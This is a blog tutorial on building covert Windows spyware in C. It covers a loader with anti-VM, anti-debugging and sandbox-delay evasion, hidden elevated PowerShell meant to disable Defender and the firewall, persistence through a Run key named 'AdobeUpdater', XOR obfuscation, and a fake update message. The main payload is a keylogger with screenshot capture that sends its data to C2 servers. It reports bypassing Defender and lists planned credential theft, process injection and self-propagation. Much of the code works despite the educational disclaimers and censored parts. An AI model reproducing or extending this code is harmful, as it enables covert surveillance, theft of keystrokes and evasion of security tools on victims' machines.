top of page

Malware Development - Creating a Covert Spyware (Loader & Main Payload) in C

  • Hacking By Doing
  • Oct 4, 2024
  • 10 min read

Updated: Feb 18


In this post, I’ll walk you through the detailed process of creating a covert spyware program for red teaming purposes.

This project evolved from a simple Proof of Concept (PoC) loader to a fully functional payload that could evade detection by Windows Defender and perform real-time data exfiltration, including keylogging and screenshot capturing.


This blog post will cover:

  • Building the loader with persistence, VM evasion, and C2 communication.

  • Designing the main payload to capture sensitive data and send it to a C2 server.

  • Challenges faced and solutions implemented throughout the process.


Disclaimer: The code snippets provided are for educational purposes only and exclude sensitive sections to prevent misuse.



1. Objectives for the Loader


  1. Evade detection in Virtual Machines (VMs) and while being debugged.

  2. Stealthily execute PowerShell and netsh commands for persistence and system manipulation.

  3. Communicate with a C2 server to download the main payload.

  4. Create persistence in the system by adding itself to the registry at startup.

  5. Use XOR encryption to obfuscate the C2 URL and sensitive strings.

  6. Run the main payload while minimizing suspicion.

  7. Implement social engineering tactics to make the program appear legitimate.

  8. Exit gracefully once execution was complete.


The loader had to mimic the behavior of a legitimate system updater to reduce suspicion while downloading and executing a more complex spyware payload.


2. Building the Loader: Stealth and Evasion

Anti-VM and Anti-Debugging Techniques:

The first major challenge was ensuring the loader could evade detection in virtualized environments and avoid analysis by security researchers using debuggers.

Global Toggle for Security Checks:

During development, I added a global toggle to easily enable or disable the anti-analysis features for testing purposes. This allowed me to test the malware in a controlled environment while disabling evasion techniques for convenience.


int enable_security_checks = 0;  // Set to 1 to enable, 0 to disable

Delaying Execution to Avoid Sandboxes:

To bypass automated analysis environments like Any.Run, I implemented a simple delay at the beginning of the loader. Sandboxes typically run malware for only a short duration, so a sleep function can help evade detection.


void delay_execution(int milliseconds) { Sleep(milliseconds); // Sleep for the specified time in milliseconds }

The delay timing was fine-tuned based on testing to ensure the malware would

run only after sandbox environments stopped analyzing the binary.


Anti-Debugging Techniques:

I used a variety of anti-debugging techniques to detect if the malware was being analyzed in a debugging environment. Some of the methods used included:

  1. IsDebuggerPresent(): This Windows API function checks if a debugger is attached to the process.

  2. GetTickCount() timing check: By comparing system uptime before and after a Sleep() call, I could detect timing discrepancies introduced by debuggers.

  3. PEB (Process Environment Block) checks: Using inline assembly, I accessed the PEB structure to check if the BeingDebugged flag was set.


int checkDebuggerViaPEB() {
#ifdef _M_IX86
  __asm {
        mov eax, fs:[30h]  // Access PEB
        mov al, [eax+2]    // Check BeingDebugged flag
  }
#else
  return 0;
#endif
}

Anti-VM Techniques:

I implemented several techniques to detect if the malware was running inside a virtual machine:

  • VM-related MAC address prefixes: VMware, VirtualBox, and other VMs use specific MAC address prefixes.

  • Registry key checks for VM software: I searched for known registry keys related to VMware and VirtualBox.

  • BIOS strings: Common virtual machines like VMware and VirtualBox have specific strings in the BIOS that can be detected.


int detectVMRegistry() {
    HKEY hKey;
    const char *vmKeys[] = {
        "SOFTWARE\\VMware, Inc.\\VMware Tools",
        "SOFTWARE\\Oracle\\VirtualBox Guest Additions",
        "SYSTEM\\CurrentControlSet\\Services\\VBoxGuest"
    };
    for (int i = 0; i < 3; i++) {
        if (RegOpenKeyExA(HKEY_LOCAL_MACHINE, vmKeys[i], 0, KEY_READ, &hKey) == ERROR_SUCCESS) {
            RegCloseKey(hKey);
            return 1;  // VM registry key found
        }
    }
    return 0;  // No VM registry key found
}

Execution of Stealthy Commands:

The loader needed to run PowerShell and netsh commands to disable Windows Defender and firewall settings, but these commands had to be executed in a stealthy manner.

To achieve this, I wrote a function to execute PowerShell commands with elevated privileges and hide the command window:

void execute_powershell(const char *command) {
    SHELLEXECUTEINFO shExecInfo = {0};
    shExecInfo.cbSize = sizeof(SHELLEXECUTEINFO);
    shExecInfo.lpVerb = "runas";  // Request admin privileges
    shExecInfo.lpFile = "powershell";
    shExecInfo.lpParameters = command;
    shExecInfo.nShow = SW_HIDE;  // Hide the PowerShell window
    ShellExecuteEx(&shExecInfo);
}

The commands were XOR-encrypted and decrypted only at runtime to avoid static detection by antivirus engines.



3. Ensuring Persistence: Registry Keys


Persistence is crucial for any malware. The loader had to ensure that the main payload would execute even after system reboots.

I chose to achieve persistence by:

  1. Copying the loader to the AppData folder with the name “AdobeUpdater”.

  2. Adding a Registry key to ensure the payload runs at startup.

HKEY hKey;
if (RegOpenKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", &hKey) == ERROR_SUCCESS) {
    RegSetValueEx(hKey, "AdobeUpdater", 0, REG_SZ, (BYTE*)dest, strlen(dest));
    RegCloseKey(hKey);
} else {
    printf("Error: Unable to set registry value.\n");
}

The use of legitimate-sounding names like "AdobeUpdater" and copying the loader to hidden system folders helped avoid suspicion from users and security software.



4. Communication with the C2 Server


To download the main payload, the loader communicated with a C2 server using HTTP POST requests. I used XOR encryption to obfuscate the C2 URL and sensitive strings.

Here’s an example of the XOR decryption used to decrypt the C2 URL at runtime:

void xor_decrypt(char *data, const char *key) {
    for (size_t i = 0; i < strlen(data); i++) {
        data[i] ^= key[i % strlen(key)];
    }
}

Once decrypted, the loader connected to the C2 server and downloaded the main payload, which was stored in a hidden location.



5. Social Engineering for User Deception


To further disguise the malware, the loader displayed a fake message to the user, indicating that the system was up to date:

Sleep(3000);  // Delay for 3 seconds
MessageBox(NULL, "Your system is already up to date. No further actions are required.", "Update Status", MB_OK | MB_ICONINFORMATION);

This made the user believe they were running a legitimate system update.



6. Building the Main Payload: AdobeUpdater


Once the loader successfully downloaded and executed the main payload, I focused on developing the spyware functionality itself. The payload was designed to be covert and perform multiple actions without raising suspicion

from the user or security systems.


Main Objectives of the Payload:

  1. Keylogging and screenshot capturing to monitor the user's activity.

  2. Storing the captured data in a hidden folder.

  3. Uploading the collected data to the C2 server in real-time.

  4. Ensuring stealthy operation to evade detection by Windows Defender and other AV tools.


Keylogging and Screenshot Capturing

The first step was to implement two key capabilities: a keylogger that continuously records the user’s keystrokes and a screenshot capture function that takes regular screenshots of the user's screen. Both functions needed to operate in the background, running in separate threads to avoid disrupting the system's normal functionality.


Keylogging:

The keylogger captures every keystroke and appends it to a hidden file stored in a designated folder. This file serves as the local storage for the keystrokes before they are uploaded to the C2 server.

Here's the logic for the keylogger:


void log_keystrokes() {
    FILE *file;
    char c;
    char filepath[MAX_PATH] = "C:\\...\\keylogs.txt";  // File path censored
    file = fopen(filepath, "a+");  // Opening the log file
    while (1) {
        Sleep(10);  // Introducing a short delay to reduce CPU usage
        for (c = 8; c <= 222; c++) {
            if (/* Key state condition censored */) {
                fputc(c, file);  // Writing each key press to the file
                fflush(file);  // Ensuring the log is updated immediately
            }
        }
    }
    fclose(file);  // Closing the file when done
}
  • Key Points: The keylogger operates by checking the GetAsyncKeyState() function in a loop, capturing keypresses in real-time. The captured keystrokes are immediately saved to disk to minimize data loss in the event of a system restart.


Screenshot Capturing:

The screenshot function takes periodic screenshots of the user’s screen, stores the images in the same hidden folder, and prepares them for exfiltration. This function uses the PrintScreen keyboard event to capture the screen and then stores the captured bitmap file.

void capture_screenshot() {
    keybd_event(VK_SNAPSHOT, 0, 0, 0);  // Simulates PrintScreen button press
    Sleep(100);  // Allows time for the clipboard to store the screenshot

    // Open the clipboard to access the captured screenshot
    OpenClipboard(NULL);
    HANDLE hBitmap = GetClipboardData(CF_BITMAP);  // Retrieves bitmap from clipboard
    CloseClipboard();

    if (hBitmap) {
        char filename[MAX_PATH];
        sprintf(filename, "C:\\...\\screenshot_%ld.bmp", time(NULL));  // File path censored with timestamp

        // Save the screenshot to the hidden folder
        SaveBitmapToFile((HBITMAP)hBitmap, filename);  // Custom save function
    }
}
  • Key Points: The screenshots are saved as bitmap files with a timestamp in the filename. This helps distinguish between multiple screenshots taken over time


Both the keylogger and screenshot functions run in separate threads to ensure they operate concurrently and independently of each other.

CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)log_keystrokes, NULL, 0, NULL);
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)schedule_screenshot_capture, NULL, 0, NULL);

7. Data Exfiltration to the C2 Server


Once the keylogger and screenshot capturer were functional, the next task was to exfiltrate the data to a C2 server. The keylogs and screenshots needed to be uploaded to the server regularly, but the upload process had to be discreet to avoid detection by network-based security tools.


C2 Architecture:

To handle the exfiltration, I set up two C2 servers:

  1. A simple HTTP server (written in Python) that served the main payload to the loader.

  2. A separate Flask-based server designed to receive the uploaded keylogs and screenshots.


First C2 Server: Payload Delivery

This server served the main payload to the loader upon request. The server is a simple HTTP server set up with Python, and its role was limited to delivering the main spyware payload to the compromised system.

The server was designed to respond to GET requests initiated by the loader:



Second C2 Server: Data Reception

The second C2 server received keylogs and screenshots uploaded by the main payload. This server used Flask to handle POST requests and saved the uploaded files in the server's local directory.

This Flask server differentiates between keylogs (text files) and screenshots (binary bitmap files) based on the Content-Type header in the HTTP request.



8. Uploading Data from the Payload to the C2 Server


The data exfiltration process was handled by the payload, which would periodically upload the captured keylogs and screenshots to the C2 server.

To ensure that data was uploaded continuously, the payload scheduled uploads to the C2 server every minute.



9. Dynamic Analysis: Running the Malware in a Sandbox


To test the malware in a controlled environment, I ran the SystemUpdater loader on my sandbox machine, with VM and debugging evasion turned off for testing purposes. Additionally, I set up two C2 servers on my local machine: one for serving the main payload and another for receiving the exfiltrated data.


Testing the C2 Servers:

The first step was to start the server responsible for serving the main payload to the loader. This server listens for GET requests from the loader and responds by delivering the spyware payload.

ree

Next, I launched the second C2 server to handle data uploads from the main payload. This server listens for POST requests from the main payload, which will upload keylogs and screenshots.

ree

Running the Loader:

With both servers running, it was time to execute the loader, named SystemUpdater.exe The loader is designed to simulate a legitimate system update and fool the user.

Upon execution, the loader successfully stalled for 3 seconds (as programmed for evasion) before displaying a system update message to the user.

ree


Payload Execution:

After checking the process explorer, I confirmed that the main payload called AdobeUpdater.exe had been downloaded and was running silently in the background. This payload is responsible for capturing keystrokes, screenshots, and exfiltrating the data.

ree

Additionally, the payload created the designated hidden folder for storing keylogs and screenshots.

ree

Verifying C2 Communication:

I checked the server logs to confirm that the loader successfully sent a GET request to the payload server and downloaded the main payload.

ree

Inspecting the Data Captured by the Payload:

The payload created files in the hidden folder, as expected. These included a screenshot and a text file for storing keylogs.

ree

ree

At first, the keylog file was empty. However, after generating some test keystrokes, I verified that the keylogger was working as intended by capturing the keystrokes and writing them to the file.

ree

C2 Server Data Upload:

Finally, I checked the Flask C2 server responsible for receiving data uploads. As expected, I saw two successful POST requests—one for the keylogs and another for the screenshots.

ree

Upon reviewing the files on my local machine, I confirmed that the keylogs and screenshots were successfully exfiltrated to the server.

ree

10. Conclusion and Future Enhancements

The malware executed flawlessly, bypassing Microsoft Defender and operating covertly. It performed all its spyware functions, including capturing keystrokes and screenshots, and exfiltrated the data to a remote C2 server without being detected.


This malware project was an exploration of several advanced techniques, including:

  • Anti-VM and anti-debugging checks to avoid analysis.

  • XOR encryption to obfuscate sensitive strings and avoid AV detection.

  • Real-time data exfiltration to a C2 server using HTTP POST requests.

  • Continuous, covert keylogging and screenshot capturing.



Future Improvements:

Here are some potential enhancements to further strengthen the malware's stealth, capabilities, and overall effectiveness:


  1. Implementing Additional XOR Encryption:

    • Currently, XOR encryption is used to obfuscate sensitive strings like the C2 server URL. Expanding the use of XOR encryption to include other critical elements of the payload, such as file paths and function names, would make it even harder for antivirus (AV) software to detect the malware through static analysis.

  2. Developing a Credential Harvesting Function:

    • Introducing a module that scans the system for stored credentials (such as passwords saved in browsers or network shares) could significantly enhance the malware's capability. This could be achieved by leveraging Windows Credential Manager or parsing browser storage for sensitive information.

  3. Thread Hijacking for Covert Execution:

    • To make the payload even more covert, I plan to implement thread hijacking. By injecting the payload into legitimate system processes and running the keylogger and data exfiltration threads from within trusted processes, the malware would blend into the system more effectively, reducing the chances of detection.

  4. Enhanced Social Engineering Techniques:

    • To increase the success rate of deployment, I will explore social engineering strategies. This could include mimicking popular software installation workflows or bundling the loader with seemingly legitimate applications.

  5. Implementing Remote Code Execution (RCE):

    • An exciting next step would be adding Remote Code Execution (RCE) functionality. This would allow the C2 server to send new commands to the infected system, executing arbitrary code in real-time. RCE would provide more flexibility for post-exploitation tasks like lateral movement and privilege escalation.

  6. Self-Infection Capabilities:

    • To enhance its spread and persistence, I could add self-infection capabilities. This would enable the malware to autonomously propagate across the network, infecting other machines through shared drives, USB devices, or network vulnerabilities, thereby increasing its reach and efficiency.



Disclaimer: This project was developed purely for educational purposes in a controlled environment. The techniques discussed here should not be used for malicious purposes.

bottom of page